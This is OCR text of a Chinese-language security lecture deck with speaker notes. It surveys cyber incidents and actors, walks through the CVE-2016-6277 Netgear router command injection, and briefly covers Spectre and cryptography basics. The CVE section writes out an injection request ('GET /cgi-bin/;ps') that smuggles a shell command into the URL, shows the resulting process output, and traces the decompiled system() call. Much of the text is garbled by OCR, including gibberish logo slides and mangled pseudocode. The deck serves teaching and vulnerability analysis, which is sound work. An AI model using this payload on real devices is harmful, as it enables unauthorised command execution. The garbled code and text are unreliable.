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演示者
演示文稿备注
熊猫烧香、木马病毒；贵宾犬漏洞、密码算法后门；拟态防御；车联网安全
电子勘察箱、电子取证；工控系统安全；天网监控、态势感知；网络爬虫
Meltdown & Spectre、处理器漏洞；Zoom轰炸、隐私安全；WannaCry、勒索软件；三星千年虫bug、移动设备安全；CTF夺旗赛
芯片安全引擎；震网、工控系统安全；Shellshock、任意命令注入执行；心脏出血、缓冲区溢出漏洞；DDoS攻击


Kk LzuG= _= 44

8200 nT1'n?

| 4 A ) , .6 CYBEp"
| B - C
v N/ / &
[\ 1/ N
7 A / | Z
I\ / /,f’A\\\ A -
\ 1/ :\\\\ // -
= 82\ =
4 4 \y \ \
\ )z N f

cnigiisull erygul ginall
SEYRIAN ELECTRONIC ARMY

DEFENSE ADVANCED I‘\I inﬂﬁ — EH ﬁpﬁ =R Rf'- E B 3
RESEARCH PROJECTS AGENCY % = I — EURTPOL European Cybercrime
rd Resaarch Institute OF Ministry Of Public Sacurity Centre

D ¥ OGE i EETERRR

INSTITUTE OF INFORMATION ENGINEERING,CAS

womenin
Cyber@ CYBERSECURITY
‘ Ben-Gurion University e
of the Negev l :

. HERJAVEC |<ﬂ0WBe4 6 CY ERARK % ﬁlcil:zltl?geeo:ce&Spuce

GROUP Human error. Conquered.

il T=== Go g|€ aws = -
CISCO ===°= =. Microsoft e OAElE <060

lixeon.lij@gmail.com 1 P33 Yy X3UGR June 14, 2020 11/31


演示者
演示文稿备注
中国人民解放军战略支援部队（61398部队、第五十六研究所（江南计算技术研究所））；以色列精英8200部队；美国网络司令部；叙利亚电子部队；国际打击网络威胁多边伙伴；日本网络防卫队
美国国防高级研究计划局；中华人民共和国公安部第三研究所；欧洲网络犯罪中心
Anonymous、匿名者；Lizard Squad、蜥蜴小队；The Level Seven Crew、第七层；Chaos Computer Club、混沌计算机俱乐部；中国红客联盟；韩国网络外交使节团
本·古里安大学网络安全研究中心；WiCyS；德克萨斯大学圣安东尼奥分校；中国科学院信息工程研究所
Herjavec Group；KnowBe4；CyberArk；Raytheon Cyber
CISCO；IBM Security；Google；Microsoft；Amazon Web Services；安天实验室；奇虎360
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演示者
演示文稿备注
通过GET传入一个参数，这里的cmd参数可以直接控制

http://127.0.0.1:8080/?cmd=ls

®
CVE-2016-6277¢ cont.(

R s e I e
GET /cgi-bin/;ps| HTTR/1.1 i 912 nobody W [kworker/s1:1]
Host: «imksiiey : S0S0 r 949 nobody S [mtdblockl7]
Pragma: no-cache 954 nobody Sw o [mtdblockls]
Cache-Control: no-cache 9427 nobody 752 5  sleep 2
Upgrade-Insecure-Requests: 1 9434 nobody 19916 R httpd -5 -E fusr/sbin/ca.pem fusr/sbin/httpsd.pem
User- Agent: Mozillays5.0 (X11; Linux x86_64) AppleWebkKit/537.36 (KHTML, like Gecko) ey FEEE g B e et d L pem
Ubuntu Chromium/53.0.2785.143 Chrome/53.0.2785.143 Safari/537.36 9438 nobody 1296 S sh -c fwww/cgi-bin/;ps = /tmp/cgi_result
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,1mage webp,*/*;q=0.8 T T Lol
Accept-Encoding: gzip, deflate, sdch 11073 nobody 3668 S N fusr/sbinfafpd -F /etc/netatalk/afpd.conf -P svar/run
Accept-Language: zh-CN,zh;q=0.8 11076 nobody SWN [ffs2 ged_mtdl1g]
Connection: close 11081 nobody 652 5 hd-i1dle -1 1800
110832 nobody 1200 S autoipd
11086 nobody 1080 S  swresetd
11089 nobody 1312 5 dlnad
11096 nobody 1480 S heartheat
11107 nobody 1132 S wlanconfigd
11113 nobody 1364 s 1ld2d bro
11115 nobody 1206 S 11ld_xbox
11117 nobody 1208 S telnetenabled
11119 nobody 1416 S mevent
11122 nobod 1204 S scheact
B iy SEe By _eeee FECEE R I SO R A ¢
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演示者
演示文稿备注
我们请求的url出现在了以nobody用户运行的进程里，这让我们可以根据关键词"sh -c"和"/tmp/cgi_result"去定位关键代码的位置。

解开固件之后我们寻找到了相关的文件/usr/sbin/httpd，确认与cgi_result有关之后，我们对httpd进行了逆向

http://support.netgear.cn/Upfilepath/R7000-V1.0.7.2_1.1.93.chk

.

CVE-2016-6277¢ cont.(

int __fastcall sub_36C34(Cconst char *al, int a2, const char *a3, int a4)

if ( !'strcmp((const char *)&v53, "POST") ) int sprintf(char *string, char *format [,argument,...]);
{
‘e Istring--
} C
else if ( !strecmp((const char *)&v53, "OPTIONS") ) Iforms?:i-r;g
{ format
}
else [argument]...
{ 1
v36 = fopen("/tmp/cgi_result", "r");
if ( v36 )
{
fclose(v36);
system("rm -f /tmp/cgi_result™);
if ( acosNvramConfig_match((int)&unk_F@378, (int)"2") )
puts("\r\n######t#delete /tmp/cgi_result ######HHEH#Er");
! unk_FO70F
2'v33 = (const char *)&unk_F@70F; /www/cgi-bin/%s > /tmp/cgi_result
v34 = (char *)&v45;
}
S sprintf(v34, v33, &v50); v50 v33 %s v34

4 system((const char *)&v45);
memset(&v49, 0, Ox40u);
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演示者
演示文稿备注
我们通过搜索字符串，找到了对应的函数sub_36C34,F5看反编译的伪码，出现cgi_result这一字符串的地方如图

可以看到else里的逻辑是先判断/tmp/cgi_result这一文件是否存在，存在则删除该文件，v33为unk_F070F的地址值，unk_F070F的值为/www/cgi-bin/%s > /tmp/cgi_result，v34为v45的地址值。
继续向下，可以看到v50替换了v33中的 %s 并赋值给了v34。
v50具体是什么我们暂时不清楚。
然后再使用system() 函数执行v45对应的值，也就是前面v34的值。 
据此推断，此处应该就是命令执行的触发点了。


.

CVE-2016-6277¢ cont.(

int __fastcall sub_36C34(Cconst char *al, int a2, const char *a3, int a4)

al POST body a3 url a4

.
sub_100A0(%s1, al@5, (int)2a87, dword_F217F8);

ext ;00014688 : B sub_144E8| ¢[off_EGG4: DCD main| Sl http a105 Sl

int __fastcall sub_100A@(char *al, const char *a2, int a3, int a4)
{

char *v9;

const char *v10;

int v11;

bool vi12;

sub_144E8

b A ATAN sl = al;
sub_14740 v = (int)sl;
do
{

v10 = (unsigned __int8)*v9;

v1l = vO++;

vi2 = vi10 == 0;

if C v10 )

vl2 = v10 == 32;

sub_1004a0

sub_19600 sub_1A1C0

}
while C !'v12 );

LABEL_27:
if ( *(_BYTE *)(v1l + 1) == 47 )
++v9;

sub_19B3C

return (int)sub_19600((const char *)v9, v248, v4);
1
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演示者
演示文稿备注
main函数直接调用了sub_147A0函数
sub_147A0函数中如此调用了sub_100A0函数

在sub_100A0函数中，POST数据交给sub_19600函数处理，GET数据交给sub_19B3C函数处理，还有一些其它情况交给sub_1A1C0函数处理，再交给sub_19B3C处理。

sub_19600函数将指针移动到HTTP报文中第一个/的位置，也就是网站路径的位置，然后通过调用LABEL_27:就可以获取网站的目录。这样获取到的内容就是最初始的内容被传递到了下一个函数 sub_19600


®
CVE-2016-6277¢ cont.(

char *__fastcall sub_19600(const char *al, const char *a2, int

{

const char *v3;
const char *v4,

int v5; sub_144E8] ([aff_E864: DCD main

char *result;

v3 = aZ;

v4 = al;

v5 = a3;

result = strstr(al, "cgi-bin");

if ( result )

{
if ( acosNvramConfig_match((int)"cgi_debug_msg", (int)"1") )

printf("\r\n####t##%s (%d)url=%s\r\n", "handle_options", 1293, v4);

result = (char *)sub_36C34(v3, v5, v4, 2);

t

return result;

sub_144E8

sub_14740

sub_10040

sub_19600 sub_141C0

sub_19B3C

\

sub 19600
sub 36C34
sub _19B3C sub 1A1CO
sub 19600 J HTTP
(POST OPTIONS) J
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演示者
演示文稿备注
main函数直接调用了sub_147A0函数
sub_147A0函数中如此调用了sub_100A0函数

在sub_100A0函数中，POST数据交给sub_19600函数处理，GET数据交给sub_19B3C函数处理，还有一些其它情况交给sub_1A1C0函数处理，再交给sub_19B3C处理。

sub_19600函数将指针移动到HTTP报文中第一个/的位置，也就是网站路径的位置，然后通过调用LABEL_27:就可以获取网站的目录。这样获取到的内容就是最初始的内容被传递到了下一个函数 sub_19600


.

int

{

CVE-2016-6277¢ cont.(

__fastcall sub_36C34(const char *al, int a2, const char *a3, int a4)

v6 = a3;
vl2 = strstr(v6, "cgi-bin");
if(vl2)
{ sub 36C34
memset(&v50, 0, Ox40u) url cgi-bin
} . .
ilse cgi-bin
if C v24 )
{
if ( v22 )
v25 = 0,
else
v25 = v23 & 1;
if ( v25 )
strcpy((char *)&v50, v20);
}
else
{
strncpy((char *)&v50, v20, v22 - 1 - v21);
}

if C !strcmp(Cconst char *)&v53, "POST") )
{

}
else if ( !strcmp(Cconst char *)&v53, "OPTIONS™) )

{
lixeon.lij@gmail.com - ' June 14, 2020


演示者
演示文稿备注
main函数直接调用了sub_147A0函数
sub_147A0函数中如此调用了sub_100A0函数

在sub_100A0函数中，POST数据交给sub_19600函数处理，GET数据交给sub_19B3C函数处理，还有一些其它情况交给sub_1A1C0函数处理，再交给sub_19B3C处理。

sub_19600函数将指针移动到HTTP报文中第一个/的位置，也就是网站路径的位置，然后通过调用LABEL_27:就可以获取网站的目录。这样获取到的内容就是最初始的内容被传递到了下一个函数 sub_19600
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演示者
演示文稿备注
CPU乱序执行
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演示者
演示文稿备注
CPU乱序执行


CVE-2017-5753 ¢ cont.(
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演示者
演示文稿备注
CPU乱序执行
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演示者
演示文稿备注
在一个加密系统中，加密算法Enc和解密算法Dec都是公开的，而加密者Alice和解密者Bob则分别拥有加密密钥k1和解密密钥k2，Eve是传输信道不的攻击者。当Alice想要发送数据m给Bob时，Alice将加密密钥k1和数据m作为加密算法Enc的输入，计算得到密文c=Enc(k1,m)并发送给解密者Bob。当接收到密文c后，Bob将解密密钥k2和密文c作为解密算法Dec的输入，计算得到明文m=Dec(k2,c)。


NTDL e

T [1976 CE, Diffie & Hellma]

T DES Data Encryption Standard [1977]

T RSA [1978]

: |
.I_ DES Alice
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演示者
演示文稿备注

对称密码有两个设计原则，一个是扩散（Diffusion）：明文的统计结构被扩散消失到密文的长程统计特性，使得明文和密文之间的统计关系尽量复杂。
另一个是混乱（confusion）：使得密文的统计特性与密钥的取值之间的关系尽量复杂。


在一个加密系统中，加密算法Enc和解密算法Dec都是公开的，而加密者Alice和解密者Bob则分别拥有加密密钥k1和解密密钥k2，Eve是传输信道不的攻击者。当Alice想要发送数据m给Bob时，Alice将加密密钥k1和数据m作为加密算法Enc的输入，计算得到密文c=Enc(k1,m)并发送给解密者Bob。当接收到密文c后，Bob将解密密钥k2和密文c作为解密算法Dec的输入，计算得到明文m=Dec(k2,c)。
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